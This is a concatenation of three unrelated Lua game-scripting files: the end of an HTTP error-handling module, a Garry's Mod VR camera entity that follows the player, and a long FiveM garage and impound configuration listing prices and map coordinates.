local success, result = pcall(HttpService.JSONEncode, HttpService, he)
return success and result or he.Message
end
HttpError.ErrorCodes = {
BadRequest = 400,
Unauthorized = 401,
Forbidden = 403,
NotFound = 404,
ServerError = 500,
}
-- targetUrl : (string) the url that failed to resolve
-- errMsg : (string) the message from the error, could be from lua
-- resBody : (string) the response body from the server
-- resCode : (number) the response code from the server. ex) 200
-- resTime : (number) the number of milliseconds to complete the request
-- options : (table) all of the options from the original request
function HttpError.new(targetUrl, errMsg, resBody, errCode, resTime, options)
local h = {
Target = targetUrl,
Message = errMsg,
Body = resBody,
Code = errCode,
Time = resTime,
RequestOptions = options,
}
setmetatable(h, HttpError)
return h
end
function HttpError.isSuccessfulError(errorCode)
-- any 2XX response is technically a success, but requests
return errorCode > 200 and errorCode < 300
end
function HttpError.isRequestError(errorCode)
return errorCode >= 400 and errorCode < 500
end
function HttpError.isServerError(errorCode)
return errorCode >= 500 and errorCode < 600
end
return HttpError
|
AddCSLuaFile("cl_init.lua")
AddCSLuaFile("shared.lua")
include("shared.lua")
util.AddNetworkString("vrmod_camera_create")
util.AddNetworkString("vrmod_camera_remove")
local CAMERA_MODEL = Model( "models/dav0r/camera.mdl" )
local VELOCITY_CONSTANT_TOLERANCE_SQUARED = 100
function ENT:Initialize()
self:SetModel( CAMERA_MODEL )
self:PhysicsInit( SOLID_VPHYSICS )
self:SetMoveType( MOVETYPE_VPHYSICS )
self:SetSolid(SOLID_NONE)
self:DrawShadow(false)
local phys = self:GetPhysicsObject()
if (IsValid(phys)) then
phys:EnableGravity(false)
phys:Wake()
end
-- self:SetLocked(true)
-- Just what are you trying to do?
if not vrmod then return end
-- Uninitialized entity
if not IsValid(self:GetPlayer()) then
self:Remove()
return
end
end
function ENT:Think()
local p = self:GetPlayer()
if not self.ConfirmedToClient then
-- BUG - Message not sent sometimes when starting with VRMod :(
timer.Simple(1, function()
net.Start("vrmod_camera_created")
net.WriteEntity(self)
net.WriteInt(self.mode, 8)
net.Send(p)
end )
-- Is this expected functionality?
if vrmod.IsPlayerInVR(p) then
-- self:CameraOn()
end
self.ConfirmedToClient = true
end
if not IsValid(p) then
self:Remove()
return
end
if self.mode == 1 then return end
if not p:Alive() then
return
end
local playerPos
local playerAng
local destPos
local destAng
local currPos = self:GetPos()
local currAng = self:GetAngles()
local phys = self:GetPhysicsObject()
if not vrmod.IsPlayerInVR(p) then
playerPos = p:EyePos()
playerAng = p:EyeAngles()
else
playerPos = vrmod.GetHMDPos(p)
playerAng = vrmod.GetHMDAng(p)
end
destPos = playerPos
destAng = playerAng
if self.stabilize then
-- Stabilize for comfortable viewing
destAng.roll = 0
end
-- Third-person (flybehind) should not collide with walls
if self.mode == 2 then
destPos = destPos - playerAng:Forward() * self.flydist
-- EyeAngles() because otherwise we rotate about an over-the-shoulder axis
-- which will vary the height depending on your HMD roll and it looks weird
destPos = destPos + p:EyeAngles():Right() * self.shoulderOffset
destPos = destPos + p:EyeAngles():Up() * self.shoulderHeight
destAng.yaw = destAng.yaw + self.shoulderYaw
destAng.pitch = destAng.pitch + self.shoulderPitchDown
local trace = {}
local endpos = destPos
trace.start = playerPos
trace.endpos = endpos
trace.filter = function(ent)
if not (ent == p or ent:GetClass() == "vrmod_camera") then return true end
end
-- Initial wall trace
trace = util.TraceLine(trace)
if trace.HitPos ~= endpos then
-- If we would be placed in a wall, instead stick to the side of it
local diff = trace.HitPos - playerPos
destPos = trace.HitPos - diff:GetNormalized() * self:BoundingRadius()
--if trace.HitPos:DistToSqr(playerPos) < NearWallZoneSqr then
--end
end
if self.smoothing <= 0 then
-- Just teleport each frame
self:SetPos(destPos)
else
-- Smooth motion using calculated velocities to reach destination
-- local resultantVelocity = self.smoothing*((destPos - currPos))
local resultantVelocity = (self.smoothing*destPos - self.smoothing*currPos)
if math.abs(resultantVelocity.x) < 0.2 then
resultantVelocity.x = 0
end
if math.abs(resultantVelocity.y) < 0.2 then
resultantVelocity.y = 0
end
if math.abs(resultantVelocity.z) < 0.2 then
resultantVelocity.z = 0
end
phys:SetVelocity(resultantVelocity)
end
elseif self.mode == 3 then
destPos = playerPos
destAng = playerAng
end
if self.smoothing <= 0 then
self:SetAngles(destAng)
else
currAng:Normalize()
destAng:Normalize()
local angleDifference = (destAng - currAng)
-- Adjust rotation for crossing the world axes
local differenceAxes = angleDifference:ToTable()
for k, v in pairs(angleDifference:ToTable()) do
if v > 180 then
angleDifference[k] = v - 360
elseif v < -180 then
angleDifference[k] = v + 360
end
end
local angleCorrectionVector = Vector(
angleDifference.roll,
angleDifference.pitch,
angleDifference.yaw)
expectedAngularVelocity = angleCorrectionVector*self.smoothing
phys:AddAngleVelocity(expectedAngularVelocity - phys:GetAngleVelocity())
end
self:NextThink(CurTime())
return true
end
function ENT:OnRemove()
self:GetPlayer().VRModCamera = nil
end
function MakeCamera( ply, camData, Data )
if ( not IsValid(ply)) then return false end
local ent = ents.Create( "vrmod_camera" )
if (!IsValid(ent)) then return end
-- First camera created by player
if not ply.VRModCameras then
ply.VRModCameras = {}
end
duplicator.DoGeneric( ent, Data )
ent.locked = locked
ent:SetPlayer( ply )
ent:SetMode(camData["mode"])
ent:SetSmoothing(camData["smoothing"])
ent:SetStabilize(camData["stabilize"])
ent:SetTracking(NULL, Vector(0))
ent:SetLocked(camData["locked"])
ent:SetDraw(camData["draw"])
ent:SetLefty(camData["lefty"])
ent:SetFlyDist(camData["flydist"])
ent:Spawn()
table.insert(ply.VRModCameras, ent)
return ent
end
net.Receive("vrmod_camera_create", function(n, p)
local camData = {}
camData["locked"] = net.ReadBool()
camData["mode"] = net.ReadInt(8)
camData["smoothing"] = net.ReadInt(8)
camData["stabilize"] = net.ReadBool()
camData["flydist"] = net.ReadInt(8)
camData["draw"] = net.ReadBool()
camData["lefty"] = net.ReadBool()
local ent
ent = MakeCamera(p, camData, {Pos = p:EyePos(), Angle = p:EyeAngles()})
end )
net.Receive("vrmod_camera_remove", function(n ,p)
local c = net.ReadEntity()
if IsValid(c) then c:Remove() end
end )
hook.Add("PlayerDeath", function(p, _, attacker)
if p.VRModCamera then
end
end )
hook.Add("VRMod_Pickup", "vrmod_camera_block_pickup", function(player, ent)
if ent:GetClass() == "vrmod_camera" then return false end
return true
end ) |
--[[
***** How to Setup a vehicle_names.lua for Custom Addon Vehicles *****
* Create a vehicle_names.lua & past the below Code
function AddTextEntry(key, value)
Citizen.InvokeNative(GetHashKey("ADD_TEXT_ENTRY"), key, value)
end
Citizen.CreateThread(function()
--Example 1: AddTextEntry('SPAWN_NAME_HERE', 'VEHICLE_NAME_HERE')
--Example 2: AddTextEntry('f350', '2013 Ford F350')
end)
]]
Config = {}
Config.Locale = 'en'
Config.KickPossibleCheaters = true -- If true it will kick the player that tries store a vehicle that they changed the Hash or Plate.
Config.UseCustomKickMessage = true -- If KickPossibleCheaters is true you can set a Custom Kick Message in the locales.
Config.UseDamageMult = false -- If true it costs more to store a Broken Vehicle.
Config.DamageMult = 2 -- Higher Number = Higher Repair Price.
Config.CarPoundPrice = 200 -- Car Pound Price
Config.BoatPoundPrice = 1500 -- Boat Pound Price
Config.AircraftPoundPrice = 7500 -- Aircraft Pound Price
Config.PolicingPoundPrice = 5 -- Policing Pound Price
Config.AmbulancePoundPrice = 5 -- Ambulance Pound Price
Config.UseCarGarages = true -- Allows use of Car Garages
Config.UseBoatGarages = false -- Allows use of Boat Garages
Config.UseAircraftGarages = false -- Allows use of Aircraft Garages
Config.UsePrivateCarGarages = false -- Allows use of Private Car Garages
Config.UseJobCarGarages = true -- Allows use of Job Garages
Config.DontShowPoundCarsInGarage = true -- If set to true it won't show Cars at the Pound in the Garage
Config.UseVehicleNamesLua = false -- Must setup a vehicle_names.lua for Custom Addon Vehicles
Config.MarkerType = 20
Config.DrawDistance = 100.0
Config.BlipGarage = {
Sprite = 290,
Color = 38,
Display = 2,
Scale = 0.6
}
Config.BlipGaragePrivate = {
Sprite = 290,
Color = 53,
Display = 2,
Scale = 0.6
}
Config.BlipPound = {
Sprite = 67,
Color = 64,
Display = 2,
Scale = 0.6
}
Config.BlipJobPound = {
Sprite = 67,
Color = 49,
Display = 2,
Scale = 0.6
}
Config.PointMarker = {
r = 255, g = 0, b = 0, -- Green Color
x = 1.0, y = 1.0, z = 1.0 -- Standard Size Circle
}
Config.DeleteMarker = {
r = 255, g = 0, b = 0, -- Red Color
x = 2.0, y = 5.0, z = 1.0 -- Big Size Circle
}
Config.PoundMarker = {
r = 0, g = 0, b = 100, -- Blue Color
x = 1.5, y = 1.5, z = 1.0 -- Standard Size Circle
}
Config.JobPoundMarker = {
r = 255, g = 0, b = 0, -- Red Color
x = 1.5, y = 1.5, z = 1.0 -- Standard Size Circle
}
-- Start of Jobs
Config.PolicePounds = {
Pound_LosSantos = {
PoundPoint = { x = 374.42, y = -1620.68, z = 28.29 },
SpawnPoint = { x = 391.74, y = -1619.0, z = 28.29, h = 318.34 }
},
Pound_Sandy = {
PoundPoint = { x = 1646.01, y = 3812.06, z = 37.65 },
SpawnPoint = { x = 1627.84, y = 3788.45, z = 33.77, h = 308.53 }
},
Pound_Paleto = {
PoundPoint = { x = -223.6, y = 6243.37, z = 30.49 },
SpawnPoint = { x = -230.88, y = 6255.89, z = 30.49, h = 136.5 }
}
}
Config.AmbulancePounds = {
Pound_LosSantos = {
PoundPoint = { x = 374.42, y = -1620.68, z = 28.29 },
SpawnPoint = { x = 391.74, y = -1619.0, z = 28.29, h = 318.34 }
},
Pound_Sandy = {
PoundPoint = { x = 1646.01, y = 3812.06, z = 37.65 },
SpawnPoint = { x = 1627.84, y = 3788.45, z = 33.77, h = 308.53 }
},
Pound_Paleto = {
PoundPoint = { x = -223.6, y = 6243.37, z = 30.49 },
SpawnPoint = { x = -230.88, y = 6255.89, z = 30.49, h = 136.5 }
}
}
-- End of Jobs
-- Start of Cars
Config.CarGarages = {
Garage_CentralLS = {
GaragePoint = { x = 223.48, y = -761.68, z = 30.82 },
SpawnPoint = { x = 230.25, y = -743.01, z = 30.82, h = 152.93 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Sandy = {
GaragePoint = { x = 1737.59, y = 3710.2, z = 34.14 },
SpawnPoint = { x = 1737.84, y = 3719.28, z = 33.04, h = 21.22 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Paleto = {
GaragePoint = { x = -733.62, y = -71.04, z = 41.75 },
SpawnPoint = { x = -735.55, y = -60.5, z = 41.75, h = 116.86 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Prison = {
GaragePoint = { x = 1846.56, y = 2585.86, z = 45.67 },
SpawnPoint = { x = 1855.11, y = 2592.72, z = 44.67, h = 274.8 },
DeletePoint = { x = 0, y = 0, z = 0 } -- z = 44.67
},
Garage_RaceTrack = {
GaragePoint = { x = 1212.32, y = 339.94, z = 81.99 },
SpawnPoint = { x = 1199.02, y = 330.92, z = 80.99, h = 144.86 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking = {
GaragePoint = { x = 282.01, y = 68.41, z = 94.37 },
SpawnPoint = { x = 285.07, y = 76.15, z = 94.36, h = 245.91 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Motel = {
GaragePoint = { x = 273.35, y = -343.33, z = 44.92 },
SpawnPoint = { x = 274.27, y = -330.21, z = 44.92, h = 161.57 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking2 = {
GaragePoint = { x = -1594.85, y = -873.94, z = 9.94 },
SpawnPoint = { x = -1603.22, y = -886.54, z = 9.56, h = 324.74 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking3 = {
GaragePoint = { x = 45.84, y = -1732.4, z = 29.3 },
SpawnPoint = { x = 33.7, y = -1727.55, z = 29.3, h = 52.13 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking4 = {
GaragePoint = { x = 361.12, y = -1690.49, z = 32.53 },
SpawnPoint = { x = 355.69, y = -1676.61, z = 32.54, h = 140.06 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking5 = {
GaragePoint = { x = 421.99, y = -1326.06, z = 46.05 },
SpawnPoint = { x = 414.56, y = -1334.97, z = 46.05, h = 319.05 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking6 = {
GaragePoint = { x = -569.87, y = 316.27, z = 84.46 },
SpawnPoint = { x = -580.5, y = 316.75, z = 84.78, h = 353.15 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking7 = {
GaragePoint = { x = -1977.68, y = -291.78, z = 44.11 },
SpawnPoint = { x = -1988.8, y = -302.79, z = 44.11, h = 241.01 },
DeletePoint = { x = 0, y = 0, z = 0 }
},
Garage_Parking8 = {
GaragePoint = { x = -693.9, y = -738.11, z = 29.36 },
SpawnPoint = { x = -704.44, y = -733.67, z = 28.74, h = 183.3 },
DeletePoint = { x = 0, y = 0, z = 0 }
}
}
Config.CarPounds = {
Pound_LosSantos = {
PoundPoint = { x = 408.61, y = -1625.47, z = 28.75 },
SpawnPoint = { x = 405.64, y = -1643.4, z = 27.61, h = 229.54 }
},
Pound_Sandy = {
PoundPoint = { x = 1651.38, y = 3804.84, z = 37.65 },
SpawnPoint = { x = 1627.84, y = 3788.45, z = 33.77, h = 308.53 }
},
Pound_Paleto = {
PoundPoint = { x = -234.82, y = 6198.65, z = 30.94 },
SpawnPoint = { x = -230.08, y = 6190.24, z = 30.49, h = 140.24 }
}
}
-- End of Cars
-- Start of Boats
Config.BoatGarages = {
Garage_LSDock = {
GaragePoint = { x = -735.87, y = -1325.08, z = 0.6 },
SpawnPoint = { x = -718.87, y = -1320.18, z = -0.47477427124977, h = 45.0 },
DeletePoint = { x = -731.15, y = -1334.71, z = -0.47477427124977 }
},
Garage_SandyDock = {
GaragePoint = { x = 1333.2, y = 4269.92, z = 30.5 },
SpawnPoint = { x = 1334.61, y = 4264.68, z = 29.86, h = 87.0 },
DeletePoint = { x = 1323.73, y = 4269.94, z = 29.86 }
},
Garage_PaletoDock = {
GaragePoint = { x = -283.74, y = 6629.51, z = 6.3 },
SpawnPoint = { x = -290.46, y = 6622.72, z = -0.47477427124977, h = 52.0 },
DeletePoint = { x = -304.66, y = 6607.36, z = -0.47477427124977 }
}
}
Config.BoatPounds = {
Pound_LSDock = {
PoundPoint = { x = -738.67, y = -1400.43, z = 4.0 },
SpawnPoint = { x = -738.33, y = -1381.51, z = 0.12, h = 137.85 }
},
Pound_SandyDock = {
PoundPoint = { x = 1299.36, y = 4217.93, z = 32.91 },
SpawnPoint = { x = 1294.35, y = 4226.31, z = 29.86, h = 345.0 }
},
Pound_PaletoDock = {
PoundPoint = { x = -270.2, y = 6642.43, z = 6.36 },
SpawnPoint = { x = -290.38, y = 6638.54, z = -0.47477427124977, h = 130.0 }
}
}
-- End of Boats
-- Start of Aircrafts
Config.AircraftGarages = {
Garage_LSAirport = {
GaragePoint = { x = -1617.14, y = -3145.52, z = 12.99 },
SpawnPoint = { x = -1657.99, y = -3134.38, z = 12.99, h = 330.11 },
DeletePoint = { x = -1642.12, y = -3144.25, z = 12.99 }
},
Garage_SandyAirport = {
GaragePoint = { x = 1723.84, y = 3288.29, z = 40.16 },
SpawnPoint = { x = 1710.85, y = 3259.06, z = 40.69, h = 104.66 },
DeletePoint = { x = 1714.45, y = 3246.75, z = 40.07 }
},
Garage_GrapeseedAirport = {
GaragePoint = { x = 2152.83, y = 4797.03, z = 40.19 },
SpawnPoint = { x = 2122.72, y = 4804.85, z = 40.78, h = 115.04 },
DeletePoint = { x = 2082.36, y = 4806.06, z = 40.07 }
}
}
Config.AircraftPounds = {
Pound_LSAirport = {
PoundPoint = { x = -1243.0, y = -3391.92, z = 12.94 },
SpawnPoint = { x = -1272.27, y = -3382.46, z = 12.94, h = 330.25 }
}
}
-- End of Aircrafts
-- Start of Private Garages
Config.PrivateCarGarages = {
-- Maze Bank Building Garages
Garage_MazeBankBuilding = {
Private = "MazeBankBuilding",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_OldSpiceWarm = {
Private = "OldSpiceWarm",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_OldSpiceClassical = {
Private = "OldSpiceClassical",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_OldSpiceVintage = {
Private = "OldSpiceVintage",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_ExecutiveRich = {
Private = "ExecutiveRich",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_ExecutiveCool = {
Private = "ExecutiveCool",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_ExecutiveContrast = {
Private = "ExecutiveContrast",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_PowerBrokerIce = {
Private = "PowerBrokerIce",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_PowerBrokerConservative = {
Private = "PowerBrokerConservative",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
Garage_PowerBrokerPolished = {
Private = "PowerBrokerPolished",
GaragePoint = { x = -60.38, y = -790.31, z = 43.23 },
SpawnPoint = { x = -44.031, y = -787.363, z = 43.186, h = 254.322 },
DeletePoint = { x = -58.88, y = -778.625, z = 43.175 }
},
-- End of Maze Bank Building Garages
-- Start of Lom Bank Garages
Garage_LomBank = {
Private = "LomBank",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBOldSpiceWarm = {
Private = "LBOldSpiceWarm",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBOldSpiceClassical = {
Private = "LBOldSpiceClassical",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBOldSpiceVintage = {
Private = "LBOldSpiceVintage",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBExecutiveRich = {
Private = "LBExecutiveRich",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBExecutiveCool = {
Private = "LBExecutiveCool",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBExecutiveContrast = {
Private = "LBExecutiveContrast",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBPowerBrokerIce = {
Private = "LBPowerBrokerIce",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBPowerBrokerConservative = {
Private = "LBPowerBrokerConservative",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
Garage_LBPowerBrokerPolished = {
Private = "LBPowerBrokerPolished",
GaragePoint = { x = -1545.17, y = -566.24, z = 24.85 },
SpawnPoint = { x = -1551.88, y = -581.383, z = 24.708, h = 331.176 },
DeletePoint = { x = -1538.564, y = -576.049, z = 24.708 }
},
-- End of Lom Bank Garages
-- Start of Maze Bank West Garages
Garage_MazeBankWest = {
Private = "MazeBankWest",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWOldSpiceWarm = {
Private = "MBWOldSpiceWarm",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWOldSpiceClassical = {
Private = "MBWOldSpiceClassical",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWOldSpiceVintage = {
Private = "MBWOldSpiceVintage",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWExecutiveRich = {
Private = "MBWExecutiveRich",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWExecutiveCool = {
Private = "MBWExecutiveCool",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWExecutiveContrast = {
Private = "MBWExecutiveContrast",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWPowerBrokerIce = {
Private = "MBWPowerBrokerIce",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWPowerBrokerConvservative = {
Private = "MBWPowerBrokerConvservative",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
Garage_MBWPowerBrokerPolished = {
Private = "MBWPowerBrokerPolished",
GaragePoint = { x = -1368.14, y = -468.01, z = 30.6 },
SpawnPoint = { x = -1376.93, y = -474.32, z = 30.5, h = 97.95 },
DeletePoint = { x = -1362.065, y = -471.982, z = 30.5 }
},
-- End of Maze Bank West Garages
-- Start of Intergrity Way Garages
Garage_IntegrityWay = {
Private = "IntegrityWay",
GaragePoint = { x = -14.1, y = -614.93, z = 34.86 },
SpawnPoint = { x = -7.351, y = -635.1, z = 34.724, h = 66.632 },
DeletePoint = { x = -37.575, y = -620.391, z = 34.073 }
},
Garage_IntegrityWay28 = {
Private = "IntegrityWay28",
GaragePoint = { x = -14.1, y = -614.93, z = 34.86 },
SpawnPoint = { x = -7.351, y = -635.1, z = 34.724, h = 66.632 },
DeletePoint = { x = -37.575, y = -620.391, z = 34.073 }
},
Garage_IntegrityWay30 = {
Private = "IntegrityWay30",
GaragePoint = { x = -14.1, y = -614.93, z = 34.86 },
SpawnPoint = { x = -7.351, y = -635.1, z = 34.724, h = 66.632 },
DeletePoint = { x = -37.575, y = -620.391, z = 34.073 }
},
-- End of Intergrity Way Garages
-- Start of Dell Perro Heights Garages
Garage_DellPerroHeights = {
Private = "DellPerroHeights",
GaragePoint = { x = -1477.15, y = -517.17, z = 33.74 },
SpawnPoint = { x = -1483.16, y = -505.1, z = 31.81, h = 299.89 },
DeletePoint = { x = -1452.612, y = -508.782, z = 30.582 }
},
Garage_DellPerroHeightst4 = {
Private = "DellPerroHeightst4",
GaragePoint = { x = -1477.15, y = -517.17, z = 33.74 },
SpawnPoint = { x = -1483.16, y = -505.1, z = 31.81, h = 299.89 },
DeletePoint = { x = -1452.612, y = -508.782, z = 30.582 }
},
Garage_DellPerroHeightst7 = {
Private = "DellPerroHeightst7",
GaragePoint = { x = -1477.15, y = -517.17, z = 33.74 },
SpawnPoint = { x = -1483.16, y = -505.1, z = 31.81, h = 299.89 },
DeletePoint = { x = -1452.612, y = -508.782, z = 30.582 }
},
-- End of Dell Perro Heights Garages
-- Start of Milton Drive Garages
Garage_MiltonDrive = {
Private = "MiltonDrive",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Modern1Apartment = {
Private = "Modern1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Modern2Apartment = {
Private = "Modern2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Modern3Apartment = {
Private = "Modern3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Mody1Apartment = {
Private = "Mody1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Mody2Apartment = {
Private = "Mody2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Mody3Apartment = {
Private = "Mody3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Vibrant1Apartment = {
Private = "Vibrant1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Vibrant2Apartment = {
Private = "Vibrant2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Vibrant3Apartment = {
Private = "Vibrant3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Sharp1Apartment = {
Private = "Sharp1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Sharp2Apartment = {
Private = "Sharp2Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Sharp3Apartment = {
Private = "Sharp3Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
DeletePoint = { x = -791.755, y = 333.468, z = 84.5 }
},
Garage_Monochrome1Apartment = {
Private = "Monochrome1Apartment",
GaragePoint = { x = -795.96, y = 331.83, z = 84.5 },
SpawnPoint = { x = -800.496, y = 333.468, z = 84.5, h = 180.494 },
